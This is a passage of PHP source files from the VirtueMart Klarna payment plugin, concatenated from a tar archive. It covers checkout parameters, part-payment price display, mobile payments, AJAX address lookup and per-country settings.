		}
		$payment_params['fields'] = $this->shipTo;
		$payment_params['payment_id'] = 'virtuemart_paymentmethod_id';
		$payment_params['checkout'] = $this->klarna->checkoutHTML ();
		$payment_params['eid'] = $this->eid;
		$payment_params['year_salary'] = $this->klarna_year_salary;
		$payment_params['agreement_link'] = $this->payment_charge_link;
		$payment_params['sum'] = $invoice_fee;
		$payment_params['fee'] = $invoice_fee;
		$payment_params['invoice_fee'] = $invoice_fee;
		$payment_params['langISO'] = $this->lang;
		$payment_params['countryCode'] = $this->country;
		$payment_params['flag'] = KlarnaFlags::CHECKOUT_PAGE;
		$payment_params['payment_id'] = "payment";
		$payment_params['invoice_name'] = 'klarna_invoice';
		$payment_params['part_name'] = 'klarna_partPayment';
		$payment_params['spec_name'] = 'klarna_SpecCamp';
		$payment_params['fields']['socialNumber'] = isset($this->socialNumber)?$this->socialNumber:"";

		return $payment_params;
	}

	/**
	 * Build the Payment params
	 */
	public function getCheapestMonthlyCost ($cart = NULL, $cData) {

		if (!class_exists ('CurrencyDisplay')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
		}
		if (!class_exists ('KlarnaAPI')) {
			require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php');
		}

		if (!isset($this->klarna) || !($this->klarna instanceof Klarna_virtuemart)) {
			return NULL;
		}

		$display_fee = 0;

		$billTotalInCountryCurrency = 0;
		if (isset($cart->pricesUnformatted['billTotal'])) {
			$billTotalInCountryCurrency = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $cData['vendor_currency'], $cData['virtuemart_currency_id'],  $cart->pricesCurrency);
		}
		if ($billTotalInCountryCurrency <= 0) {
			return NULL;
		}
		$aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN);
		$kCheckout = new KlarnaAPI($this->country, $this->lang, 'part', $billTotalInCountryCurrency, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, $aTypes, JPATH_VMKLARNAPLUGIN);

		KlarnaHandler::getCheapestPclass ($kCheckout, $cheapest, $minimum);
vmdebug('getCheapestMonthlyCost',$cart->pricesUnformatted['billTotal'], $billTotalInCountryCurrency , $cheapest,$minimum);

		if ($billTotalInCountryCurrency < $minimum) {
			return NULL;
		}
		if (!class_exists ('VirtueMartModelCurrency')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php');
		}

		$sFee = $kCheckout->getPresentableValuta ($cheapest);
		return $sFee;

	}

	/**
	 * @return string
	 */
	public function getTermsLink () {

		return 'https://static.klarna.com/external/html/' . KLARNA_SPECIAL_CAMPAIGN . '_' . strtolower ($this->country) . '.html';
	}

	/**
	 * @param $pid
	 * @param $totalSum
	 * @return string
	 */
	function displayPclass ($pid, $totalSum) {

		if (!class_exists ('KlarnaAPI')) {
			require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php');
		}
		$kCheckout = new KlarnaAPI($this->country, $this->lang, 'part', $totalSum, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN, KlarnaPClass::FIXED), JPATH_VMKLARNAPLUGIN);
		return $kCheckout->renderPClass ($pid);
	}

}

������������������������������������������������������klarna_virtuemart.php�������������������������������������������������������������������������������0000666�����������������00000001717�15137552100�0011020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('Direct Access to ' . basename(__FILE__) . ' is not allowed.');

/**
 * @version $Id: klarna_virtuemart.php 6369 2012-08-22 14:33:46Z alatak $
 *
 * @author Valérie Isaksen
 * @package VirtueMart
 * @copyright Copyright (C) 2012 iStraxx - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

define('KLARNA_MODULE_VERSION', '5.0.3');
if (!class_exists('Klarna'))
    require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'api' . DS . 'klarna.php');
class Klarna_virtuemart extends Klarna {

    public function __construct() {
        $this->VERSION = 'PHP'.phpversion().':2.0.26d';
        Klarna::$debug =  false;
    }
}

�������������������������������������������������klarna_productprice.php�����������������������������������������������������������������������������0000666�����������������00000013466�15137552100�0011325 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

defined ('_JEXEC') or die('Restricted access');

/**
 * @version $Id: klarna_productprice.php 6536 2012-10-15 06:57:35Z alatak $
 *
 * @author Valérie Isaksen
 * @package VirtueMart
 * @copyright Copyright (C) 2012 iStraxx - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
class klarna_productPrice {

	private $klarna_virtuemart;
	private $cData;
	private $path;

	/**
	 * @param $cData
	 */
	public function __construct ($cData) {

		$this->path = JPATH_VMKLARNAPLUGIN . '/klarna/';
		if (!class_exists ('ShopFunctions')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php');
		}

		$this->cData = $cData;
		//$this->currencyId = ShopFunctions::getCurrencyIDByName($this->cData['currency_code']);
		//vmdebug ('klarna_productPrice', $this->cData);
		try {
			$this->klarna_virtuemart = new Klarna_virtuemart();
			$this->klarna_virtuemart->config ($this->cData['eid'], $this->cData['secret'], $this->cData['country'], $this->cData['language'], $this->cData['currency'], $this->cData['mode'], VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), FALSE);
		}
		catch (Exception $e) {
			vmDebug ('klarna_productPrice', $e->getMessage (),  $e->getFile() , $e->getLine(), $this->cData);
			vmError ('klarna_productPrice', 'klarna_productPrice: '.$e->getMessage (). " country:".$this->cData['country_code_3'] );
			unset($this->klarna);
		}
	}

	/**
	 * @param $product
	 * @return bool
	 */
	private function showPP ($product, $cart) {

		if (!isset($this->klarna_virtuemart) || !($this->klarna_virtuemart instanceof Klarna_virtuemart)) {
			return FALSE;
		}
		if (!VMKLARNA_SHOW_PRODUCTPRICE) {
			vmDebug ('Klarna: showPP', 'dont show price because VMKLARNA_SHOW_PRODUCTPRICE');
			return FALSE;
		}
		// the price is in the vendor currency
		// convert price in NLD currency= euro

		$price = KlarnaHandler::convertPrice ($product->prices['salesPrice'], $this->cData['vendor_currency'], 'EUR', $cart->pricesCurrency);

		if (strtolower ($this->cData['country_code']) == 'nl' && !KlarnaHandler::checkNLpriceCondition ($price )) {
			vmDebug ('showPP', 'dont show price for NL', $this->cData['country_code'], $price);
			return FALSE;
		}

		if ($price <= $this->cData['min_amount'] AND !empty($this->cData['min_amount'])) {
			return FALSE;
		}

		return TRUE;
	}

	/**
	 * @param $product
	 * @return array|null
	 */
	public function showProductPrice ($product, $cart) {
		if (!$this->showPP ($product, $cart)) {
			return NULL;
		}

		$viewData = $this->getViewData ($product);
		return $viewData;
	}

	/**
	 * @param $product
	 * @return array|null
	 */
	private function getViewData ($product) {

		if (!class_exists ('KlarnaAPI')) {
			require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php');
		}
		if (!class_exists ('VirtueMartModelCurrency')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php');
		}

		$price = $product->prices['salesPrice'];
		$country = $this->cData['country'];
		$lang = $this->cData['language_code'];

		$types = array(KlarnaPClass::CAMPAIGN, KlarnaPClass::ACCOUNT, KlarnaPClass::FIXED);
		try {
			$kCheckout = new KlarnaAPI($country, $lang, 'part', $price, KlarnaFlags::PRODUCT_PAGE, $this->klarna_virtuemart, $types, $this->path);
		}
		  catch(Exception $e) {
			  VmDebug('getViewData','Error in ' . __METHOD__ . ': ' . $e->getMessage(), $e->getCode());
			  VmError( $e->getMessage(), 'getViewData'.'Error in ' . __METHOD__ . ': ' . $e->getMessage(), $e->getCode());
			  return NULL;
        }

		$kCheckout->setCurrency ($this->cData['currency']);

		// TODO : Not top to get setup  values here!
		$this->settings = $kCheckout->getSetupValues ();
		if ($price > 0 && count ($kCheckout->aPClasses) > 0) {
			$currencydisplay = CurrencyDisplay::getInstance ();
			$sMonthDefault = NULL;
			$sTableHtml = "";
			$monthTable = array();
			// either in vendor's currency, or shipTo Currency
			$countryCurrencyId = $this->cData['virtuemart_currency_id'];
			$currency = CurrencyDisplay::getInstance ($countryCurrencyId);
			$fromCurrency = $currency->getCurrencyForDisplay ();

			//$paymentCurrency = CurrencyDisplay::getInstance($this->cart->paymentCurrency);
			//$totalInPaymentCurrency = $paymentCurrency->priceDisplay( $this->cart->pricesUnformatted['billTotal'],$this->cart->paymentCurrency) ;
			//$currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
			$i = 0;
			foreach ($kCheckout->aPClasses as $pclass) {
				if ($sMonthDefault === NULL || $pclass['monthlyCost'] < $sMonthDefault) {
					$sMonthDefault = $currency->priceDisplay ($pclass['monthlyCost'], $countryCurrencyId);
				}

				if ($pclass['pclass']->getType () == KlarnaPClass::ACCOUNT) {
					$pp_title = JText::_ ('VMPAYMENT_KLARNA_PPBOX_ACCOUNT');
				}
				else {
					$pp_title = $pclass['pclass']->getMonths () . " " . JText::_ ('VMPAYMENT_KLARNA_PPBOX_TH_MONTH');
				}

				$pp_price = $currency->priceDisplay ($pclass['monthlyCost'], $countryCurrencyId);
				$monthTable[$i] = array(
					'pp_title' => html_entity_decode ($pp_title),
					'pp_price' => $pp_price,
					'country'  => $country);
				$i++;
			}
			$cd = CurrencyDisplay::getInstance ($fromCurrency);
			$aInputValues = array();
			$aInputValues['defaultMonth'] = $sMonthDefault;
			$aInputValues['monthTable'] = $monthTable;
			$aInputValues['eid'] = $this->cData['eid'];
			$aInputValues['country'] = KlarnaCountry::getCode ($country);

			if ($country == KlarnaCountry::DE) {
				$aInputValues['asterisk'] = '*';
			}
			else {
				$aInputValues['asterisk'] = '';
			}

			return $aInputValues;
		}
		return NULL;
	}

}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������impl.klarna_mobile.php������������������������������������������������������������������������������0000666�����������������00000021617�15137552100�0011026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('Restricted access');

/**
 * The Mobile payment api core functionality file.
 * This class handles all requests send by the GUI/ajax
 *
 * @package       Klarna Standard Mobile Kassa API
 * @version     1.0
 * @since         1.0 - 4 maj 2011
 * @link        http://integration.klarna.com/
 * @copyright    Copyright (c) 2011 Klarna AB (http://klarna.com)
 */
require_once (dirname(__FILE__) . "/klarnamobile.php");

abstract class KlarnaMobileImpl {
    protected $oKlarna;

    private $sTemplate;

    private $sPath;

    private $sCountryCode;

    private $aInputParameters = array();

    private $aSetupSettings = array();

    protected $iSum = 0;

    /**
     * The telephone number for the request
     *
     * @var $sTelNo string
     */
    private $sTelNo;

    private $sLangISO;

    function __construct (&$oKlarna, $sCountry = "se", $sPath = null, $sTemplate = null) {
        $this->oKlarna = &$oKlarna;
        $this->sTemplate = $sTemplate;
        $this->sPath = $sPath;
        $this->sCountryCode = $sCountry;
        $this->sLangISO = 'sv';
    }

    /**
     * Fetches the product and adds it as an article to the klarna class. No need to return any data.
     * Articles need to be set for fraud purpose, incorrect article means no_risk invoice. Hereby klarna will not take any risks.
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @param Klarna $oKlarna The Klarna class object. Used to set any articles
     * @return void
     */
    abstract protected function fetchProduct($mProductId);

    /**
     * When a purchase is made, the script returns an redirect-URL or a message. When the URL is returned, the user is re-directed to this page.
     * This could be an URL to a downloadable file (WARNING! SHOULD ALWAYS BE A DYNAMIC URL!), or a link to a "Thank you"/confirmation page (Comon for donation purposes)
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @return mixed Either NULL or FALSE if no URL is available, or STRING with full URL when URL is available.
     */
    abstract protected function fetchRedirectUrl ($mProductId);

    /**
     * When a purchase is made (approved as well) it might needs to be added to the merchants order system. In this function you can define how the order of a product should be handled.
     *
     * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality
     * @param integer $iKlarnaReference The reference returned by Klarna
     * @param string $sTelNo The telephone number used to make a purchase
     * @return void
     */
    abstract protected function processOrder ($mProductId, $iKlarnaReference, $iTelNo);

    /**
     * Fetch the HTML from the template theme
     *
     * @return string The HTML completed as string
     */
    public function retrieveHTML () {
        // Get template
        $sTemplate = ($this->sPath != null ? $this->sPath : "") . '/html/mobile/' . $this->sTemplate . "/" . strtolower($this->sCountryCode) . "/template.html";

        return $this->translateInputFields(file_get_contents($sTemplate));
    }

    /**
     * Adding an input value
     *
     * @param string $sParamName The name of an paramteter to set
     * @param mixed $mParamValue The value of the parameter
     * @return void
     */
    public function addInput ($sParamName, $mParamValue) {
        $this->aInputParameters[$sParamName] = $mParamValue;
    }

    /**
     * Translating the fetched HTML agains dynamic values set in this class
     *
     * @param    string    $sHtml    The HTML to translate
     * @return    string
     */
    private function translateInputFields ($sHtml) {
        $sHtml = preg_replace_callback("@{{(.*?)}}@", array($this, 'changeText'), $sHtml);

        return $sHtml;
    }

    /**
     * Changeing the text from a HTML {{VALUE}} to the acual value decided by the array
     *
     * @param    array    $aText    The result from the match in function translateInputFields
     * @return    mixed
     */
    private function changeText ($aText) {
        // Split them
        $aExplode    = explode(".", $aText[1]);
        $sType        = $aExplode[0];
        $sName        = $aExplode[1];

        if ($sType == "input")
        {
            if (array_key_exists($sName, $this->aInputParameters))
                return $this->aInputParameters[$sName];
            else
            {
                throw new KlarnaMobileApiException('Error in ' . __METHOD__ . ': Invalid inputfield value ('.$sName.') found in HTML code!');
                return false;
            }
        }
        else if($sType == "lang")
        {
            return JText::_($sName); //$this->fetchFromLanguagePack($sName);
        }
        else if($sType == "setup")
        {
            return @$this->aSetupSettings[$sName];
        }
        else if ($sType == "value")
        {
            return @$this->aInputValues[$sName];
        }
        else {
            throw new KlarnaMobileApiException('Error in ' . __METHOD__ . ': Invalid field name ('.$sType.') found in HTML code!');
            return false;
        }
    }

    /**
     * Fetch data from the language pack
     *
     * @param    string    $sText    The text to fech
     * @return    string
     */
    public function fetchFromLanguagePack ($sText) {
        if ($this != null && $this->sLangISO != null)
            $sISO = strtolower($this->sLangISO);
        else
            $sISO = KlarnaAPI::getISOCode();

        $oXml    = simplexml_load_file($this->sPath . '/klarna_files/klarna_language.xml');
        $aResult= (array)@$oXml->xpath("//string[@id='$sText']/$sISO");
        $aResult= (array)@$aResult[0];

        return @$aResult[0];
    }

    /**
     * Request the code for the mobile phone
     *
     * @param string $sTelNo The telephone number
     * @param int $iSum The sum to request
     * @return mixed BOOLEAN true if success, message or exception if error
     */
    public function requestCode ($iPid, $sTelNo) {
        $this->sTelNo    = $sTelNo;

        try {
            $this->fetchProduct($iPid);

            //Transmit all the specified data, from the steps above, to Klarna.
            $aResult = $this->oKlarna->reserveAmount(
                $this->sTelNo,
                null,
                $this->iSum,
                KlarnaFlags::RSRV_PHONE_TRANSACTION+KlarnaFlags::RSRV_SEND_PHONE_PIN,
                -1
            );

            return $this->translateSuccesToXml($aResult[0], $aResult[1]);
        }
        catch(Exception $e) {
            return $this->translateErrorToXML($e->getCode(), utf8_encode($e->getMessage()));
        }
    }


    /**
     * Request the code for the mobile phone
     *
     * @param string $sTelNo The telephone number
     * @param int $iSum The sum to request
     * @return mixed BOOLEAN true if success, message or exception if error
     */
    public function makePurchase ($iPid, $sTelNo, $sPinCode, $iRefNo) {
        $this->sTelNo    = $sTelNo;

        try {
            $this->fetchProduct($iPid);

            $this->oKlarna->setExtraInfo('pin', $sPinCode);
            $aResult = $this->oKlarna->activateReservation(
                $this->sTelNo,
                $iRefNo,
                null,
                null,
                KlarnaFlags::RSRV_PHONE_TRANSACTION+KlarnaFlags::RSRV_SEND_PHONE_PIN,
                -1
            );

            $sUrl = $this->fetchRedirectUrl($iPid);

            $this->processOrder($iPid, $iRefNo, $sTelNo);

            array_push($aResult, $sUrl);

            return $aResult;
        }
        catch(Exception $e) {
            return array("-1", utf8_encode($e->getMessage()), $e->getCode());
        }
    }

    private function translateErrorToXML ($iError, $sErrorMessage) {
        $sReturn    = <<<EOD
            <?xml version="1.0"?>
<result>
<statusCode>-1</statusCode>
<errorCode>$iError</errorCode>
<message>$sErrorMessage</message>
</result>
EOD;
        return $sReturn;
    }

    private function translateSuccesToXml ($iStatusCode, $sMessage) {
        $sReturn    = <<<EOD
        <?xml version="1.0"?>
<result>
<statusCode>$iStatusCode</statusCode>
<message>$sMessage</message>
</result>
EOD;
        return $sReturn;
    }
}

/**
 * KlarnaMobileApiException class.
 *
 * @package       Klarna Standard Kassa API
 * @version     1.0
 * @since         1.0 - 14 mar 2011
 * @link        http://integration.klarna.com/
 * @copyright    Copyright (c) 2011 Klarna AB (http://klarna.com)
 */
class KlarnaMobileApiException extends Exception
{
    public function __construct($sMessage, $code=0, Exception $previous = null)
        {
        parent::__construct($sMessage,$code, $previous);
        }

    public function __toString()
        {
        return __CLASS__ . ":<p><font style='font-family: Arial, Verdana; font-size: 11px'>[Error: {$this->code}]: {$this->message}</font></p>\n";
        }
}�����������������������������������������������������������������������������������������������������������������klarna_ajax.php�������������������������������������������������������������������������������������0000666�����������������00000012060�15137552100�0007532 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('Restricted access');

/**
 * The Klarna AJAX provider.
 * This class provides data for AJAX calls
 *
 * @package     Klarna Standard Kassa API
 * @version     2.0.0
 * @since       2011-10-10
 * @link        http://integration.klarna.com/
 * @copyright   Copyright (c) 2011 Klarna AB (http://klarna.com)
 */

if (!class_exists('KlarnaAPI')) {
	require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php');
}


class KlarnaAjax {
	private $api;
	private $template;
	private $coSetup;

	/**
	 * @param $api
	 * @param $eid
	 * @param $path
	 * @param $webroot
	 */
	public function __construct($api, $eid, $path, $webroot) {
		if (!$api instanceof Klarna) {
			throw new KlarnaApiException("api must be an instance of Klarna");
		}

		$this->api     = $api;
		$this->eid     = $eid;
		$this->path    = $path;
		$this->coSetup = array();
	}

	/**
	 * @param $template
	 */
	public function __setTemplate($template) {
		if (is_array($template)) {
			$this->template = array_merge($this->template, $template);
		} else {
			$this->template['name'] = $template;
		}
	}

	/**
	 * @param $arr
	 */
	public function __addSetupValues($arr) {
		if (is_array($arr)) {
			$this->coSetup = array_merge($this->coSetup, $arr);
		}
	}

	/**
	 * @return null
	 * @throws KlarnaApiException
	 */
	public function languagepack() {
		$sSubAction = JRequest::getWord('subAction');
		if (!isset($this->template['name']) || $this->template['name'] == '') {
			$this->template['name'] = "default";
		}
		if ($sSubAction == "klarna_box") {
			$sNewISO     = JRequest::getWord('newIso');
			$sCountry    = JRequest::getWord('country');
			$iSum        = JRequest::getFloat('sum', 0);
			$iInvoiceFee = JRequest::getFloat('fee', 0);
			$iFlag       = JRequest::getInt('flag');
			$sType       = JRequest::getWord('type');
			$aParams     = JRequest::getVar('params');
			$aValues     = JRequest::getVar('values');

			// foreach($aValues as $key => $value) {
			// $aValues[$key] = utf8_encode($value);
			// }
			// foreach($aParams as $key => $value) {
			// $aParams[$key] = utf8_decode($value);
			// }

			if ($sType != "part" && $sType != "invoice" && $sType != "spec") {
				throw new KlarnaApiException("Invalid parameters");
			}

			$this->api->setCountry($sCountry);

			if ($sType == 'spec') {
				$types = array(KlarnaPClass::SPECIAL);
			} else {
				$types = array(KlarnaPClass::CAMPAIGN, KlarnaPClass::ACCOUNT, KlarnaPClass::FIXED);
			}

			$oApi = new KlarnaAPI ($sCountry, $sNewISO, $sType, $iSum, $iFlag, $this->api, $types, VMKLARNAPLUGINWEBROOT);

			// $oApi->addSetupValue ('web_root', $this->webroot);
			// $oApi->setPaths ();
			$oApi->addSetupValue('eid', $this->eid);
			if ($sType == 'invoice') {
				$oApi->setInvoiceFee($iInvoiceFee);
			}
			$oApi->setCurrency($this->api->getCurrency());
			if (count($this->coSetup) > 0) {
				$oApi->addMultipleSetupValues($this->coSetup);
			}
			return $oApi->retrieveLayout($aParams, $aValues);
			// if ($sType == 'spec') {

			// return $oApi->retrieveHTML($aParams, $aValues, null, $this->template);
			// } else {
			// return $oApi->retrieveHTML ($aParams, $aValues);
			// }
		}
		else {
			if ($sSubAction == 'jsLanguagePack') {
				$sNewISO = JRequest::getWord('newIso');
				$sFetch  = "";
			}
			else {
				throw new KlarnaApiException("Invalid sub-action");
			}
		}
	}

	public
	function getAddress() {
		$aSessionCalls = array();

		// Check the session for calls
		if (array_key_exists('klarna_address', $_SESSION)) {
			$sSessionCalls = base64_decode($_SESSION['klarna_address']);
			$aSessionCalls = unserialize($sSessionCalls);
		}

		$sPNO     = JRequest::getWord('socialNumber'); //JRequest::getWord('pno');
		$sCountry = strtolower(JRequest::getWord('country'));

		if (array_key_exists($sPNO, $aSessionCalls)) {
			$addrs = $aSessionCalls[$sPNO];
		}
		else {
			$addrs = $this->api->getAddresses($sPNO, NULL, KlarnaFlags::GA_GIVEN);

			$aSessionCalls[$sPNO]       = $addrs;
			$_SESSION['klarna_address'] = base64_encode(serialize($aSessionCalls));
		}

		$sString = "<?xml version='1.0'" . "?" . ">\n"; //eval breaks at question-mark gt
		$sString .= "<getAddress>\n";

		//This example only works for GA_GIVEN.
		foreach ($addrs as $index => $addr) {
			if ($addr->isCompany) {
				$implode = array(
					'companyName' => $addr->getCompanyName(),
					'street'      => $addr->getStreet(),
					'zip'         => $addr->getZipCode(),
					'city'        => $addr->getCity(),
					'countryCode' => $addr->getCountryCode()
				);
			}
			else {
				$implode = array(
					'first_name'  => $addr->getFirstName(),
					'last_name'   => $addr->getLastName(),
					'street'      => $addr->getStreet(),
					'zip'         => $addr->getZipCode(),
					'city'        => $addr->getCity(),
					'countryCode' => $addr->getCountryCode()
				);
			}

			$sString .= "<address>\n";

			foreach ($implode as $key => $val) {
				$sString .= "<" . $key . ">" . Klarna::num_htmlentities($val) . "</" . $key . ">\n";
			}

			$sString .= "</address>\n";
		}

		$sString .= "</getAddress>";
		return array(
			'type'  => 'text/xml',
			'value' => $sString);
	}
}
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defined ('_JEXEC') or die('Restricted access');

/**
 * @version $Id: klarnahandler.php 6480 2012-09-28 11:46:33Z alatak $
 *
 * @author Valérie Isaksen
 * @package VirtueMart
 * @copyright Copyright (C) 2012 iStraxx - All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
class KlarnaHandler {

	/**
	 * @static
	 * @return array
	 */
	static function countriesData () {

		$countriesData = array(
			'NOR' => array(
				'pno_encoding'    => 3,
				'language'        => 97,
				'language_code'   => 'nb',
				'country'         => 164,
				'currency'        => 1,
				'currency_code'   => 'NOK',
				'currency_symbol' => 'kr',
				'country_code'    => 'no'),
			'SWE' => array(
				'pno_encoding'    => 2,
				'language'        => 138,
				'language_code'   => 'sv',
				'country'         => 209,
				'country_code'    => 'se',
				'currency'        => 0,
				'currency_code'   => 'SEK',
				'currency_symbol' => 'kr'),
			'DNK' => array(
				'pno_encoding'    => 5,
				'language'        => 27,
				'language_code'   => 'da',
				'country'         => 59,
				'country_code'    => 'dk',
				'currency'        => 3,
				'currency_code'   => 'DKK',
				'currency_symbol' => 'kr',
			),
			'FIN' => array(
				'pno_encoding'    => 4,
				'language'        => 37,
				'language_code'   => 'fi',
				'country'         => 73,
				'country_code'    => 'fi',
				'currency'        => 2,
				'currency_code'   => 'EUR',
				'currency_symbol' => '&#8364;'
			),
			'NLD' => array(
				'pno_encoding'    => 7,
				'language'        => 101,
				'language_code'   => 'nl',
				'country'         => 154,
				'country_code'    => 'nl',
				'currency'        => 2,
				'currency_code'   => 'EUR',
				'currency_symbol' => '&#8364;',
			),
			'DEU' => array(
				'pno_encoding'    => 6,
				'language'        => 28,
				'language_code'   => 'de',
				'country'         => 81,
				'country_code'    => 'de',
				'currency'        => 2,
				'currency_code'   => 'EUR',
				'currency_symbol' => '&#8364;'
			));
		return $countriesData;
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return array|null
	 */
	static function countryData ($method, $country) {

		$countriesData = self::countriesData ();
		$lower_country = strtolower ($country);
		if (array_key_exists (strtoupper ($country), $countriesData)) {
			$cData = $countriesData[strtoupper ($country)];
			$eid = 'klarna_merchantid_' . $lower_country;
			$secret = 'klarna_sharedsecret_' . $lower_country;
			$invoice_fee = 'klarna_invoicefee_' . $lower_country;
			$min_amount = 'klarna_min_amount_part_' . $lower_country;
			$payment_activated = 'klarna_payments_' . $lower_country;
			$active = 'klarna_active_' . $lower_country;
			$cData['eid'] = $method->$eid;
			$cData['secret'] = $method->$secret;
			$cData['invoice_fee'] = (double)$method->$invoice_fee;
			$cData['country_code_3'] = $country;
			$cData['virtuemart_currency_id'] = ShopFunctions::getCurrencyIDByName ($cData['currency_code']);
			$cData['virtuemart_country_id'] = ShopFunctions::getCountryIDByName ($country);
			$cData['mode'] = KlarnaHandler::getKlarnaMode ($method, $country);
			$cData['min_amount'] = $method->$min_amount;
			$cData['active'] = $method->$active;
			if (empty($method->$payment_activated)){
				$method->$payment_activated=array('invoice', 'part');
			}
			$cData['payments_activated'] = $method->$payment_activated;
			if (!class_exists ('VirtueMartModelVendor')) {
				require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php');
			}
			$vendor_id = 1;
			$cData['vendor_currency'] = VirtueMartModelVendor::getVendorCurrency ($vendor_id)->vendor_currency;
			return $cData;
		} else {
			return NULL;
		}
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return array|null
	 */
	public static function getCountryData ($method, $country) {

		//$country = self::convertToThreeLetterCode($country);
		return self::countryData ($method, $country);
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function convertCountry ($method, $country) {

		$country_data = self::countryData ($method, $country);
		return $country_data['country_code'];
	}


	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function getLanguageForCountry ($method, $country) {

		$country = self::convertToThreeLetterCode ($country);
		$country_data = self::countryData ($method, $country);
		return $country_data['language_code'];
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function getCurrencySymbolForCountry ($method, $country) {

		$country_data = self::countryData ($method, $country);
		return $country_data['currency_symbol'];
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function getInvoiceFee ($method, $country) {

		$invoice_fee = 'klarna_invoicefee_' . strtolower ($country);
		return $method->$invoice_fee;
	}

	/**
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function getInvoiceTaxId ($method, $country) {

		$invoice_fee_tax = 'klarna_invoice_tax_id_' . strtolower ($country);
		return $method->$invoice_fee_tax;
	}

	/**
	 * The invoice fee is in the vendor currency, and should be converted to the payment currency
	 *
	 * @static
	 * @param $method
	 * @param $country
	 * @return mixed
	 */
	public static function getInvoiceFeeInclTax ($method, $country, $cartPricesCurrency, $cartPaymentCurrency, &$display_invoice_fee, &$invoice_fee) {

		$method_invoice_fee = self::getInvoiceFee ($method, $country);
		$invoice_tax_id = self::getInvoiceTaxId ($method, $country);
		vmdebug ('getInvoiceFeeInclTax', $cartPaymentCurrency, $invoice_fee);
		if (!class_exists ('calculationHelper')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php');
		}
		if (!class_exists ('CurrencyDisplay')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
		}

		if (!class_exists ('VirtueMartModelVendor')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php');
		}

		$vendor_id = 1;
		$vendor_currency = VirtueMartModelVendor::getVendorCurrency ($vendor_id);

		//$currency = CurrencyDisplay::getInstance ();
		$paymentCurrency = CurrencyDisplay::getInstance ($cartPaymentCurrency);
		$invoice_fee = (double)round ($paymentCurrency->convertCurrencyTo ($cartPaymentCurrency, $method_invoice_fee, FALSE), 2);
		$currencyDisplay = CurrencyDisplay::getInstance ($cartPricesCurrency);

		$paymentCurrency = CurrencyDisplay::getInstance ($cartPaymentCurrency);
		$display_invoice_fee = $paymentCurrency->priceDisplay ($method_invoice_fee, $cartPaymentCurrency);
		$currencyDisplay = CurrencyDisplay::getInstance ($cartPricesCurrency);

		vmdebug ('getInvoiceFeeInclTax', $cartPaymentCurrency, $invoice_fee, $invoice_tax_id, $display_invoice_fee);
		return;
	}

	/*
		* @depredecated
		*/

	/**
	 * @static
	 * @param $country
	 * @return string
	 */
	public static function convertToThreeLetterCode ($country) {

		switch (strtolower ($country)) {
			case "se":
				return "swe";
			case "de":
				return "deu";
			case "dk":
				return "dnk";
			case "nl":
				return "nld";
			case "fi":
				return "fin";
			case "no":
				return "nor";
			default:
				return $country;
		}
	}

	/**
	 * @static
	 * @return array
	 */
	public static function getKlarnaCountries () {

